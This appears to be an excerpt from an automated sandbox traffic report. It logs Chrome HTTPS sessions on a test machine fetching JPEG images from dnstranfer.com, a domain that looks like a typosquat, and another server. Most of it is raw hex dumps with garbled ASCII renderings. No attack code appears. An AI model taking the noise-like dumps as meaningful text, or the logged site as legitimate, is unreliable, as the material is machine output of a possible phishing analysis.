6c dd 77 0b c7 1f 7c 3f 1d ef 10 d5 02 59 21 86 9c f1 ce 26 8e 9f 3d ca b9 63 9f 67 7c f3 1e b4 d8 84 18 2b 21 8a 46 67 
4d 62 28 d2 73 d7 c9 9a cf 7a b7 16 22 16 45 43 19 7c 48 54 1d 1d 03 a3 61 45 77 58 e0 87 ab ec b0 d3 4c 6c 4c 85 57 
a9 52 11 94 fc d0 65 5d c4 78 ec ad 6f e5 f3 bf fb 2e c6 af b8 19 1a ac e7 5f ae 07 31 c9 e3 28 32 f1 0a 6a cc 95 85 9c d4 
48 64 a6 37 72 cb 07 7f 87 d6 d7 bc 1c e5 85 a8 53 c0 8e 52 82 53 0a 13 80 e0 39 f7 f1 8f 12 bb 4b 94 40 bb ad c8 42 03 
ab 1a b8 66 0b b3 75 67 fd 22 6b c5 53 58 f7 55 f3 c5 00 77 ea 78 4a 15 55 82 41 d0 26 bd 03 1d 25 a5 4c 56 25 6a 7a 1c 
76 ed c2 d7 8b d2 fa 87 02 7c 48 e8 81 3b 7b 0e f7 e8 
Data Ascii: T(%</aJDLk=S}lw|?Y!&=cg|+!FgMb(sz"EC|HTaEwXLlLWRe]xo._1(2jHd7rSRS9K@Bfug"kSXUwxJUA&%LV%j
zv|H;{

2022-08-11 03:43:03 UTC 12915 IN Data Raw: de 66 5d 23 ae 7e e6 1e ec 08 46 a2 c8 42 48 82 da a6 65 e2 ab be 2c dd 4b 92 8e f1 e5 c4 d1 d4 10 6a 81 68 
58 f7 f1 4f c1 22 75 2a e7 d2 45 8e fd fb 9f 63 f5 03 7f 84 cd 35 45 15 60 cb 1c b2 67 6f 7d 6f a9 34 b6 be e2 c8 ac 79 fd 
97 8b 8b 0c ce 9f a6 3c 77 9a d1 b1 53 f4 0f 1c a2 ba f7 73 cc df f7 59 7a bd 11 e3 80 d2 0d 4c 66 93 c0 d8 45 74 34 69 
3c 5a 5f 0f 62 92 15 98 92 24 1e 93 4c d3 2c 14 8f be ed bf 31 76 cb 3e 36 7c d3 77 a0 93 40 a1 6e 08 d3 3f 5b bf 97 40 
83 6b 7f f1 ad 3c 74 66 91 f2 43 1f 44 97 23 72 36 d0 bc e1 f9 38 d3 4e b6 67 eb f7 81 be 62 6a a2 10 c9 ea e7 bd fc 73 
45 6a de a2 5e bb cb ae b8 54 6a 51 29 b5 50 35 65 8d 69 a4 76 00 97 75 f4 48 7f 81 50 2b 8a 49 a9 b9 5c 96 c3 5c be 
80 93 40 15 22 ab 1f fa 30 61 69 9e bc 65 09 18 a2 0b 58 
Data Ascii: f]#~FBHe,KjhXO"u*Ec5E`go}o4y<wSsYzLfEt4i<Z_b$L,1v>6|w@n?[@k<tfCD#r68NgbjsEj^TjQ)P5eivuHP
+I\\@"0aieX

2022-08-11 03:43:03 UTC 12931 IN Data Raw: a8 a8 d1 2c a3 0c 42 38 76 37 d9 fc 01 dc 63 9f 48 56 0d 30 71 15 35 82 86 0c 17 73 ac 46 4c 68 10 29 b0 5a 
d0 fc f3 07 59 fc d4 2d 64 25 f8 46 d9 f9 ec 17 d0 79 f4 e3 99 be e9 f3 70 fb a6 19 dd 72 17 e6 e6 fb 80 11 61 be cb b0 0e 
d4 0a 66 da b2 63 77 87 e9 d9 92 66 64 58 ec 07 1a 2c 33 73 33 54 8b 0b dc f6 f7 ef e5 e4 db de 4b c7 47 f6 7c ee 23 99 
ba f2 12 9a d5 9a b0 34 40 9c 10 5c a0 d4 2e 36 08 21 57 86 61 44 bd bc 44 36 18 91 67 e0 8a 0c 7b c9 e5 c8 8d 8f c5 ce 
f5 58 78 e3 5f c2 db df 02 bd 1c 73 cd a3 70 c5 0e cc ca f1 b4 8b 61 33 8c 77 88 c9 a9 8d d2 e4 02 da 60 39 7b 47 f8 76 
c0 1d 71 eb 4e a1 f9 b9 00 f7 94 a4 7a ce c0 1d dd 02 98 8f 81 3b a7 01 f7 31 13 2f c8 c3 42 5a 7f e6 89 4b d6 76 be c6 
8d d7 82 a0 11 ea ba a6 1e 55 db 7a ab df 1f b7 80 6d 
Data Ascii: ,B8v7cHV0q5sFLh)ZY-d%FyprafcwfdX,3s3TKG|#4@\.6!WaDD6g{Xx_spa3w`9{GvqNz;1/BZKvUzm

2022-08-11 03:43:03 UTC 12947 IN Data Raw: e4 80 cf e4 bd 7d de 03 01 2b 0b d0 45 69 1a 63 9c c6 a6 d0 0a 1d 62 17 61 91 d4 84 5c 3a 46 19 f6 92 73 95 
27 a3 e0 49 8b 63 f6 22 30 2f 2c 2a eb 32 14 24 92 0a 3e 12 a4 5d 4b e5 91 0f 85 f5 ab d0 40 7e e3 ed cc 6d fe 51 01 a2 
6a a3 24 9b 8e 5c 7a 67 f3 df ff 21 e6 a4 23 a0 ae 91 49 02 24 e5 8a 2d 10 38 14 7d a6 52 a1 2a 92 0a 31 d8 08 57 29 de 
87 ad c7 38 91 82 57 34 95 63 b2 7c e3 b2 3a 4a e3 41 8f 02 a0 b7 73 1a 8c a0 e2 bb 30 5c a7 7e ce e3 68 8c 0f 21 81 9e 
97 68 6b 10 aa b8 6f ac 80 d6 65 97 31 fd fb af c7 ae 5f 83 f3 10 85 04 2b 2d 56 78 2a 2a 62 cf e6 9b 71 18 ea ce a2 9d 
47 86 0c 6b 04 22 13 c8 9d bb 98 7a c3 9f 30 fe aa 97 17 c0 a3 68 77 10 64 20 f7 9e 29 0f 52 7a 72 09 da ab 22 08 cf 15 
1b 79 57 41 ec 04 4a 04 90 b6 90 55 06 c3 35 e7 3d 81 1d 
Data Ascii: }+Eicba\:Fs'Ic"0/,*2$>]K@~mQj$\zg!#I$-8}R*1W)8W4c|:JAs0\~h!hkoe1_+-Vx**bqGk"z0hwd )Rzr"yWAJU5=

2022-08-11 03:43:03 UTC 12963 IN Data Raw: f5 4a 20 8a eb 98 a8 41 22 34 a0 31 4a a0 64 4e c5 44 c4 95 11 a2 8a 22 9a 59 60 d7 f5 9b 51 c6 83 b7 90 17 
a0 af 21 05 ca 44 b4 5b 73 18 13 61 95 c2 86 1e 84 40 2d 4a 68 44 02 15 0d a3 75 51 b5 e8 cc 12 44 c0 1a 45 14 34 da 
82 f5 1d 7a 3b 77 92 ef 99 a1 b3 e5 16 9a 8b f3 f8 28 e0 8d 22 b6 02 e1 62 54 a2 30 75 cd b0 4a 48 bd 47 eb 98 c8 4b 5a 
5a 20 a4 21 d2 55 94 8c 48 a4 c0 98 2a 3e d6 d8 5a 4e 35 49 50 32 c6 c6 60 34 68 51 c5 0b 83 53 09 a8 04 29 04 ca 38 
32 e1 11 5a 13 a9 18 4f 0f 5d 19 22 4a 26 88 82 42 84 0c 87 a0 6a 62 ea 01 94 a9 92 b7 e6 10 3b 77 d1 9d de c2 cc c2 5
6 90 39 5a a9 22 41 37 f7 8c c9 88 50 8f 51 3a e0 b5 43 85 1c 91 08 18 4d 58 a8 6a 9c 13 08 25 e9 99 0c a5 0b 4b 9a a0 
04 51 26 d0 49 85 48 c8 a2 13 22 20 4f 3c 79 9e 22 93 2a 32 b5 74 
Data Ascii: J A"41JdND"Y`Q!D[sa@-JhDuQDE4z;w("bT0uJHGKZZ !UH*>ZN5IP2`4hQS)82ZO]"J&Bjb;wV9Z"A7PQ:CMXj
%KQ&IH" O<y"*2t

2022-08-11 03:43:03 UTC 12979 IN Data Raw: 61 62 b6 4b 08 42 0c 9a a0 23 5a 0b 2e 46 42 ee 91 3a 90 37 86 a8 a1 a4 41 93 93 8b 00 35 3e 2a 68 02 41 
41 34 0a 15 22 c6 83 68 81 68 11 60 24 15 8d 44 72 65 c6 13 01 1a 15 f0 e8 6b d7 39 bd 99 1b d1 d6 16 fb f5 41 bc 80 0b 
01 a5 85 2c 2a ca e0 c6 a5 c0 48 16 14 5e 29 1a 02 a2 3b 38 3f 44 c7 40 a0 4d bb 0e 4c 2d ec c7 e6 67 72 af fb cc a0 0f 
54 3c ef 9e 1b 99 bc f0 72 1e b4 f8 7d 82 49 d5 04 ef c0 d6 2d b0 25 4b ae 61 ba 98 a4 bb 69 e3 78 bb a9 89 38 94 2a 88 
28 82 44 82 07 8b 81 e0 c6 52 6a a9 d1 a7 21 49 ac 65 d8 e4 6a aa 62 aa 3d de 9a 19 70 d0 28 e5 89 d1 11 a3 01 d5 46 
7c 83 c4 e4 8a 0b 0e 42 8e d4 10 ab 3d 48 de c5 64 6d c2 70 27 3a 54 e8 60 13 77 4b 07 44 1f 92 96 8a 04 a2 4e 77 c8 8
f cd 2d 56 4b b2 49 76 4a c6 0b 9a c3 60 88 41 a1 1b 47 16 35 88 
Data Ascii: abKB#Z.FB:7A5>*hAA4"hh`$Drek9A,*H^);8?D@ML-grT<r}I-%Kaix8*(DRj!Iejb=p(F|B=Hdmp':T`wKDNw-
VKIvJ`AG5

2022-08-11 03:43:03 UTC 12995 IN Data Raw: 49 7d fe 45 0c 77 ee 42 0a 85 19 d6 c8 6c 17 75 f7 bb d3 ee cc 12 63 43 ff a2 ef 23 3f b8 9a ba 68 61 b5 4a 68 
b2 8f 54 ba 4a 6c 26 ad 71 4e 28 a2 26 46 4f 9c 69 b1 78 f1 77 a9 8a 2e a1 81 aa b7 4c b8 ea 0a e2 d6 ad d4 7d c8 f1 48 
1e 89 cb cb d4 9b b7 63 da 45 32 e3 51 06 16 96 f1 e5 12 23 65 b0 36 27 d4 23 4a a3 29 86 d0 cc cf 63 8a 0c bf 5a 8d d9 
bb 00 4d 49 d0 8a a0 3c ae 1c d2 1f 1e c4 59 68 91 82 14 53 8d 70 6d 83 a2 4d ac a0 1e 94 f4 3f fa 51 32 32 0e 52 27 9f 
2c a0 0f 6c 5d aa e0 ad 29 61 6d 0e ec 66 df bf 7c 80 30 ea af 71 84 ed 38 c9 f0 80 eb 66 6c d0 2d da 46 a1 5b 96 5a 69 
96 54 8d 0c 2a 6c 36 79 68 42 78 d8 f2 dc a7 31 f7 d0 07 a3 4d 07 2d 01 35 d9 41 36 4f 53 03 3a cf 50 9b 37 73 cd 37 ff 
9b 8d f3 5b b9 cb 07 fe 96 e9 9f 7f 72 92 f3 bb 72 99 
Data Ascii: I}EwBlucC#?haJhTJl&qN(&FOixw.L}HcE2Q#e6'#J)cZMI<YhSpmM?Q22R',l])amf|0q8fl-F[ZiT*l6yhBx1M-
5A6OS:P7s7[rr

Timestamp
kBytes
transferred

Direction Data
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2022-08-11 03:43:03 UTC 13011 IN Data Raw: 9c c4 4d 7b 06 49 09 39 91 6b bf e3 c8 79 a7 0b 7d 8c f4 e3 bd 8c 2f 36 ac ec f5 bc ef dd 73 7e e1 67 27 dc b2 
99 b8 60 ad d8 25 67 32 e2 2c fd 7c 3b c8 9d 13 e2 04 57 8d a8 72 85 91 39 aa 03 4e ad 27 8e a7 29 cf 78 d2 32 df f0 ac 
bd c4 ad 29 39 7a 5c dd 13 eb ab c9 16 c4 59 9c 54 38 53 61 2c f4 b3 c0 f1 53 27 d9 3a db 12 66 11 9b 1d a3 ba 81 94 
e8 73 4b 15 1c ed 3c 91 73 a6 f1 15 c1 44 62 2c 4e 9f 16 2d 65 8d 0f f3 f9 4a a9 c3 bb 9a 2c c2 2c 24 6a 71 b8 c1 1a 5a 
f5 e4 41 e2 cc bb de 47 7c ea 77 33 fd db 97 b1 fa dd df c7 f0 e1 8f 42 44 89 9b a7 b0 c1 20 ae 05 5b 84 1a 45 23 e8 08 
a9 43 08 8c 3c e8 3d 69 af d8 76 f5 d4 0f 8d 2a a3 39 a3 a9 0c 74 63 4d 69 38 d6 62 40 63 14 92 ad a8 dd 12 a6 87 be 9b 
90 7c 64 ef e1 55 da 93 9b 45 a7 39 1c 11 35 d0 c7 8c 51 
Data Ascii: M{I9ky}/6s~g'`%g2,|;Wr9N')x2)9z\YT8Sa,S':fsK<sDb,N-eJ,,$jqZAG|w3BD [E#C<=iv*9tcMi8b@c|dUE95Q

2022-08-11 03:43:03 UTC 13027 IN Data Raw: 5e 9e b8 07 15 e9 47 c3 86 24 46 49 13 43 4b 35 d4 f4 8e 35 ac bc fd 7d cc fe f9 ef 18 24 90 42 e3 05 c4 6a f0 
31 17 b0 4a 90 70 d7 4e 41 c8 12 a9 81 44 aa 35 bd f3 2e a2 f7 ed cf a2 7c c0 7e 64 d5 a3 28 d0 5a 11 92 bb f7 3e 68 ef 
4b dc ef 20 07 c9 1b 42 0c 39 41 36 c6 90 c8 fe 11 6e 3c 66 f6 f6 f7 d0 fe d3 87 98 0e 3c 4e 45 7a 49 30 c1 e3 a3 47 69 d3
4d ba ef 6a 5c c5 bb 17 57 5f ea 6b 77 77 07 59 e9 8e 27 35 e9 76 3e c4 56 1e 22 72 fa f7 a7 9f ef 1d 74 db d9 22 8c de 
3a 79 df 4a d8 cf 24 94 a6 33 f4 bd 55 27 c5 ae 54 67 b6 d4 15 0e 29 e5 c6 ae 2e ec b6 e9 12 b0 8d 77 0f 80 1b 8f a9 df 
fe 1e da 7f fa 08 b3 81 a3 d5 31 37 ba 82 c7 8b 43 d4 5d 8f ab 2f 8b 8e fb 74 a8 e9 db 8a e3 7f f4 56 4e 9e 3c 8c bf f6 66 
96 0e ee 67 6a 4a 52 08 0c a2 a2 25 e1 52 c0 88 
Data Ascii: ^G$FICK55}$Bj1JpNAD5.|~d(Z>hK B9A6n<f<NEzI0GiMj\W_kwwY'5v>V"rt":yJ$3U'Tg).w17C]/tVN<fgjJR%R

2022-08-11 03:43:03 UTC 13043 IN Data Raw: 38 4b 44 1b 98 89 41 69 4d a5 54 ce 27 80 34 76 b4 04 26 78 c2 8d 35 9a 8a fe 45 17 73 82 84 55 d0 0b 96 c2 
7a 02 8e fe fd 1f 08 bd 1e ab d7 7d 0e bf 76 82 6a d7 42 96 dc 05 74 74 1d 49 d9 d3 2b 2c a6 b0 84 d5 43 1c fa 8f 2f 87 
5d 23 aa 4b ef cf 9e ef fa 76 82 b7 dc f4 2b bf c6 c9 4f 7e 08 6e b8 8a f5 bf 7c 3b f6 ec 07 e2 54 40 19 cd 81 f3 1f 44 98 1f 
d2 bb fa 4a d4 b8 41 9f 7f 36 a1 37 c4 6c ae e1 96 76 33 b9 f2 5a 66 1f fa 67 8e bd e1 4d 88 df 24 c8 3c dc 97 b7 df 7e e2 
ee 25 66 a8 02 82 21 93 e9 54 e8 04 f7 05 42 46 5d 53 b8 80 42 98 e9 04 3a 60 bd a2 98 f5 99 2e 6d b0 eb d5 07 18 3e 
6e c8 ec e6 09 86 1e 22 4d d6 8e 6e 0b 9a b1 63 ba 5e d3 36 0d 3e b4 cc d6 1c 83 62 0e 8c 61 3a 9d d0 d6 1b b4 78 6c 
df 30 7f c1 22 73 bb 4a fa 07 4a 6a 5f e3 ea 90 0d 09 
Data Ascii: 8KDAiMT'4v&x5EsUz}vjBttI+,C/]#Kv+O~n|;T@DJA67lv3ZfgM$<~%f!TBF]SB:`.m>n"Mnc^6>ba:xl0"sJJj_

2022-08-11 03:43:03 UTC 13059 IN Data Raw: 5a d9 64 64 79 8b a8 51 d1 76 42 70 83 46 45 20 11 04 e7 e9 8b 1e 6e bd c4 52 22 83 27 76 01 2b 03 41 4a 
82 a9 43 e4 b0 57 5c ca 8e 9b 7f 41 f2 f5 cf 30 74 c6 33 51 cf 7e 2a ad 95 6b 06 03 25 45 d4 ab 91 50 43 08 e8 49 70 82 
6a c1 39 0f c1 56 c2 8f 50 e0 83 46 b8 14 ab 3c 44 25 69 69 90 a5 a4 f0 82 50 8f 88 94 c4 00 f9 c2 1c 3b 3f f1 29 16 be 7c 
01 f6 57 bf 46 62 49 92 21 12 99 90 87 0c 87 c5 2c f2 e9 ef c2 3f 14 42 54 cd bc 14 a0 aa 34 41 94 24 68 85 77 01 af 35 
da 97 28 2d 71 2e e0 b4 a0 0c 81 44 6b bc 2d 89 cc fe b1 ea bf 35 50 e9 e0 76 38 60 64 56 4d 0f 06 a7 6d 1d 2a db 4c 00 
af 15 d9 9e bd cc fc d9 5f 90 7f e7 07 0c bf f6 75 0c 3d e7 4c 7c 6d 14 d5 ef 22 e7 16 80 12 51 24 48 ad 11 de e1 43 51 
4d 16 42 95 4e 7a ff 51 75 03 3a 44 a0 3c 56 05 20 47 b5 
Data Ascii: ZddyQvBpFE nR"'v+AJCW\A0t3Q~*k%EPCIpj9VPF<D%iiP;?)|WFbI!,?BT4A$hw5(-q.Dk-5Pv8`dVMm*L_u=L
|m"Q$HCQMBNzQu:D<V G

2022-08-11 03:43:03 UTC 13075 IN Data Raw: 73 c5 29 65 c9 b0 7c 29 5a a6 a3 0b 54 87 5e cc f2 8f fe 1d ea af 85 8b 6f 7a 6d 06 c6 7e 09 df 5f c4 bc 30 41 
e9 05 c7 9c 25 46 ed 79 da 66 05 12 4c 8b 8a c1 fc 8b 19 dc f9 fd f4 06 2d 22 ff 86 0b 67 56 19 7d 3c d2 ef 95 04 9f f5 a7 
0b e7 71 38 62 cc 13 4e 74 1d af 2b 65 99 a4 2b 52 d3 9b 03 5a b7 2a dd 25 99 b8 99 d2 4a 19 dc 3a ef 30 53 da 90 10 
35 9c cf e6 4c b6 01 8d d6 dc f3 05 8b 3c f1 91 8b ac 7f ff 45 fc 7a 49 6b d3 9c 80 d3 e2 59 03 ee 46 76 b1 bc 1c b8 6f 56 
97 ef 05 d6 77 aa 57 04 6d 71 e6 81 82 c2 1a 92 b6 40 41 69 c2 5c 18 f1 fe fe 5d fc fc 5d 9f 41 a4 e0 87 1e ba 9f c5 74 01 
2f 89 98 6a 50 c1 79 d8 48 2d bd 59 81 bc 32 32 78 dd 32 ed f2 94 72 2a 84 32 d3 93 70 46 8c 86 88 e1 0d 62 70 8c 9b 
31 87 6f 9f 63 f9 ee 25 5c 1d 99 ce a6 d0 3a 8a e4 
Data Ascii: s)e|)ZT^ozm~_0A%FyfL-"gV}<q8bNt+e+RZ*%J:0S5L<EzIkYFvoVwWmq@Ai\]]At/jPyH-Y22x2r*2pFbp1oc%\:

2022-08-11 03:43:03 UTC 13091 IN Data Raw: ad 88 da 32 a3 a5 77 f4 36 4e 7d f5 ab 09 ef 7c 37 b3 c7 57 b2 72 93 73 59 e3 3d 46 b4 ae 3b 63 8c f4 b4 03 
ea fd 6c 67 af cf ec f7 f7 0f c0 fb 41 3b 68 07 ed d9 00 ed fb 55 7c b9 29 bc b4 87 ef c6 96 bc 23 39 8b ed 7d 81 f7 7e db 
21 f5 ba 6d f3 73 69 2b 6b ac de 75 bc 75 07 85 a2 85 c3 6a 87 d6 0e a9 05 aa 98 41 7b 0d ae 34 5c 6d 50 1b 52 0b d2 
03 ed 29 52 09 5a 2b d2 a3 e3 b2 03 3e 53 21 2c 05 cc 02 58 44 62 e8 64 89 03 62 01 21 61 9a 32 c7 3d 45 88 4d 87 63 
23 39 e9 a0 d9 70 52 b2 fc 23 be 44 8b 45 5c b9 0c d5 32 2c ce 91 96 3c 05 cb b8 e7 cd e1 5f b8 4c f1 d8 0a ed c7 ce b1 
fa be c7 18 7d e8 2c ed e3 63 aa 4b 10 2a c7 cc 5a 7c 9a 51 bb 82 42 6a 82 39 da 14 48 6e 33 9b f1 0c 02 f7 4d d7 ac 5c 
0c 99 b9 d1 cf 55 e0 aa c9 67 5a 40 67 bd 9b 3a c5 91 e8 bb 
Data Ascii: 2w6N}|7WrsY=F;clgA;hU|)#9}~!msi+kuujA{4\mPR)RZ+>S!,XDbdb!a2=EMc#9pR#DE\2,<_L},cK*Z|QBj9H
n3M\UgZ@g:

2022-08-11 03:43:03 UTC 13107 IN Data Raw: 97 d0 c9 25 ac 9b 91 e2 d3 d0 3d 8d 4c 1e 85 dd 4f 93 56 5e 08 2b 0f 40 77 1a 69 c6 f8 7b 3a 4e fe be 17 b0 f2
9a 75 2e fd fb 4f 71 f1 27 3f c1 d6 c7 b6 90 ae 42 c6 1e 67 86 26 9e 77 e7 3c e9 bf 37 4c 49 04 c0 88 62 38 1c 4f 11 d8 01 
7a 43 22 40 78 61 68 38 a3 8a 68 64 cb 22 ad c1 90 48 27 46 db 06 d6 80 17 9c 79 88 d6 55 bc f8 4d df cc 0b de f8 95 bc 
e7 9f fc 63 3e f8 4f fe 37 36 df f3 6e 76 cf 6e f1 b1 6e 87 c7 2e 4d 79 f8 9e 53 bc ec de 53 8c d7 85 b6 9b d1 4e f6 48 a1 
a3 f2 79 05 99 92 1c 7f 31 a5 09 93 8e 98 04 e7 1c 12 13 a9 0b f8 ca 21 c9 c3 6e 87 34 2b e8 ab 5e 89 9e 3b 47 f7 9b ef 
e2 73 1f f8 75 fc bb 7f 81 bb 7f d7 ff c0 ca 6b bf 0c ab 85 94 0c 17 05 f5 9e d6 07 30 a3 36 88 02 e6 73 41 68 40 b0 8f 3f 
ca a5 1f ff df 78 fc ff ff bf e3 3e ff 79 d2 
Data Ascii: %=LOV^+@wi{:Nu.Oq'?Bg&w<7LIb8OzC"@xah8hd"H'FyUMc>O76nvnn.MySSNHy1!n4+^;Gsuk06sAh@?x>y

2022-08-11 03:43:03 UTC 13123 IN Data Raw: 41 49 21 7b b6 d3 09 d2 29 16 2d 8b 77 cb 9f 47 9e b8 e2 be 58 75 39 f2 5e 58 3a 91 4b 5e 04 99 ca a1 51 f1 
eb 49 99 39 ee 75 37 2a ee 2f 8f 98 94 89 f5 f9 2b 62 ae e4 24 33 df e2 9e 8b f7 b9 eb cc dc 32 f2 f2 31 7f 3d 63 f2 5a 82 
f5 d9 12 f1 47 11 cf b7 42 c8 1f 37 08 f2 7c 3e 5e 6f 77 00 e9 b9 e0 d3 7e d8 ed 47 4d 99 b9 3c ca 3e 3f ee 97 53 63 ae 
76 3c 96 1c f7 63 1c ef 08 ea 6a 2c 59 ee 92 0a 24 71 bd 93 4c ee 6c 9f d2 0c 75 8a a3 86 a9 31 7b 32 30 bb 04 ed e3 50 
9f 4e 54 67 8c e1 29 43 4e 08 6e cd e1 56 c0 8d 0d 6b 02 52 19 f5 40 31 07 e6 12 5a e7 28 3b d0 fb c0 3b b0 79 97 db 3e 
23 c3 b4 6f 8e 1a a0 53 24 3a 52 4c a4 00 d6 2a d2 29 12 24 f7 0b 8a 71 21 dc 53 6b a4 56 48 53 43 26 46 9a 91 73 dd 
27 39 f7 3d e7 bf 27 e2 0c ac 15 e8 c0 4b 32 d5 3e 15 c7 
Data Ascii: AI!{)-wGXu9^X:K^QI9u7*/+b$321=cZGB7|>^ow~GM<>?Scv<cj,Y$qLlu1{20PNTg)CNnVkR@1Z(;;y>#oS$:R
L*)$q!SkVHSC&Fs'9='K2>

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

231 192.168.11.20 62581 47.243.100.207 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data
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2022-08-11 03:43:02 UTC 11870 OUT GET /lipgupiao/assets/images/pay1.png HTTP/1.1
Host: dnstranfer.com
Connection: keep-alive
sec-ch-ua: "Chromium";v="94", "Google Chrome";v="94", ";Not A Brand";v="99"
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 
Safari/537.36
sec-ch-ua-platform: "Windows"
Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: image
Referer: https://dnstranfer.com/direct/index.html
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

232 47.243.100.207 443 192.168.11.20 51784 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:43:02 UTC 11870 IN HTTP/1.1 200 OK
cache-control: public, max-age=43200
expires: Thu, 11 Aug 2022 15:43:02 GMT
etag: "a83c-62f0fed6-202f18;;;"
last-modified: Mon, 08 Aug 2022 12:17:26 GMT
content-type: image/jpeg
content-length: 43068
accept-ranges: bytes
date: Thu, 11 Aug 2022 03:43:02 GMT
server: LiteSpeed
alt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=25920
00, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"
connection: close

2022-08-11 03:43:03 UTC 12229 IN Data Raw: ff d8 ff e1 00 18 45 78 69 66 00 00 49 49 2a 00 08 00 00 00 00 00 00 00 00 00 00 00 ff ec 00 11 44 75 63 6b 
79 00 01 00 04 00 00 00 3c 00 00 ff e1 03 2f 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 78 61 70 2f 31 2e 
30 2f 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 
7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 
6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 
36 2d 63 31 33 38 20 37 39 2e 31 35 39 38 32 34 2c 20 32 30 31 36 2f 30 39 2f 31 34 2d 30 31 3a 30 39 3a 30 31 20 20 
20 20 20 20 20 20 22 3e 20 3c 72 64 66 3a 52 44 46 20 78 6d 
Data Ascii: ExifII*Ducky</http://ns.adobe.com/xap/1.0/<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xm
pmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c138 79.159824, 2016/09/14-01:09:01        "> <rdf:RDF 
xm

2022-08-11 03:43:03 UTC 12245 IN Data Raw: 46 af 23 95 1a 97 8a 1d d2 e5 e5 87 8d cb 4c ab ec 18 9d a9 bf 4f 1d 97 9d db fa 8a 23 e4 f6 fa 19 ac 77 41 91 
64 6a b5 ae 32 77 79 af 62 b3 fd e1 79 f1 d8 62 a7 ea 3c fc 9e df 42 95 94 c4 64 b1 76 56 bd e8 96 37 fe 6d 7c 95 69 cd 
db a2 61 e8 f8 de 46 bb 3d 3d be a6 a9 af 5a 4b 76 d1 9f 40 5f b7 12 88 9c 43 d5 fb 9f fe 0d 6f eb ff 00 bb 69 de e0 fa 3c 
0f 9e 99 9b af cb d5 54 f0 78 8d eb d6 3b 5c 2c cc 4c 3e 7a ce 7f 1b c8 fe f3 2f da 38 f3 bb bf 13 e8 dc 48 ff 00 f9 a3 f6 3e 
86 8d 7a 0d 4f 53 98 f4 b1 1d 1f 3a f5 85 27 bd 3b b6 aa 61 2b 3e a4 d2 40 f7 d9 6b 5d 24 6e 73 5d a7 4b 8d 1e 4d a6 1d 
1f 11 a6 36 59 d2 ee fe d4 f6 b6 ad 49 ac 4a e9 a6 5d 7a a4 7a ea 72 e8 91 c6 7e 3e de e8 62 f2 1a a2 bb 67 0d dd da bc 
36 d6 53 8f ec d2 fd 9b 87 22 7a 30 f0 a2 7e 
Data Ascii: F#LO#wAdj2wybyb<BdvV7m|iaF==ZKv@_Coi<Tx;\,L>z/8H>zOS:';a+>@k]$ns]KM6YIJ]zzr~>bg6S"z0~

2022-08-11 03:43:03 UTC 12717 IN Data Raw: 8e 23 2f 6f 1b 61 d3 d4 54 73 d5 34 3b 5a 13 11 86 4e 57 1b e2 53 12 d9 8f 72 64 9b 94 5c 8e a4 5b 2a 9a 38 
2a 74 74 93 df 2c 53 e3 e3 e1 61 a9 7f 25 7f 23 3f 6b 72 65 91 fe 4f 9a 9e d5 a4 c6 c5 b5 70 2b 11 d1 92 6c dd f9 a8 26 
3e 59 3b 48 51 5a ad 55 e9 38 a5 b6 4a 75 f1 2b 5b 67 e5 6d 63 f7 4e 63 1f 47 d1 6b 3d a9 13 7c 6d d4 e4 d6 2b b1 82 
de 3f 4d a7 39 fb 5c f7 5d b8 e8 9f 12 c8 f5 8d 5c e7 b9 9c 7a 2a e1 37 6c e9 e3 52 3e 46 ce 27 39 91 c6 f6 9e 89 27 06 
cb d6 6b ba 4d 1f 12 61 8b 93 c1 a5 a7 d1 ab 1d 8b 0d b4 96 b8 ea 99 24 ed 38 af 85 da b5 0e e6 7b 71 eb 14 c3 a8 dd 
d1 90 4c 85 9b ba 63 ed 6c c7 d9 49 c8 ed 25 a6 ed 0d 9e 3e 23 54 39 55 ac 49 0d 96 4f 1a 74 e2 7b 5e 85 66 5d 1d fa a3 
b2 21 d1 ca ee 3c 96 51 8c 8a db 9b d8 b1 75 35 8c 4d 24 f7 b4 
Data Ascii: #/oaTs4;ZNWSrd\[*8*tt,Sa%#?kreOp+l&>Y;HQZU8Ju+[gmcNcGk=|m+?M9\]\z*7lR>F'9'kMa$8{qLclI%>#
T9UIOt{^f]!<Qu5M$

Session ID Source IP Source Port Destination IP
Destination
Port

Process

233 118.27.105.118 443 192.168.11.20 63665 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data
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2022-08-11 03:43:03 UTC 12063 IN HTTP/1.1 200 OK
Server: nginx
Date: Thu, 11 Aug 2022 03:43:02 GMT
Content-Type: image/jpeg
Content-Length: 22356
Last-Modified: Tue, 14 Apr 2020 16:42:02 GMT
Connection: close
ETag: "5e95e7da-5754"
Expires: Sat, 10 Sep 2022 03:43:02 GMT
Cache-Control: max-age=2592000
Strict-Transport-Security: max-age=31536000
Accept-Ranges: bytes

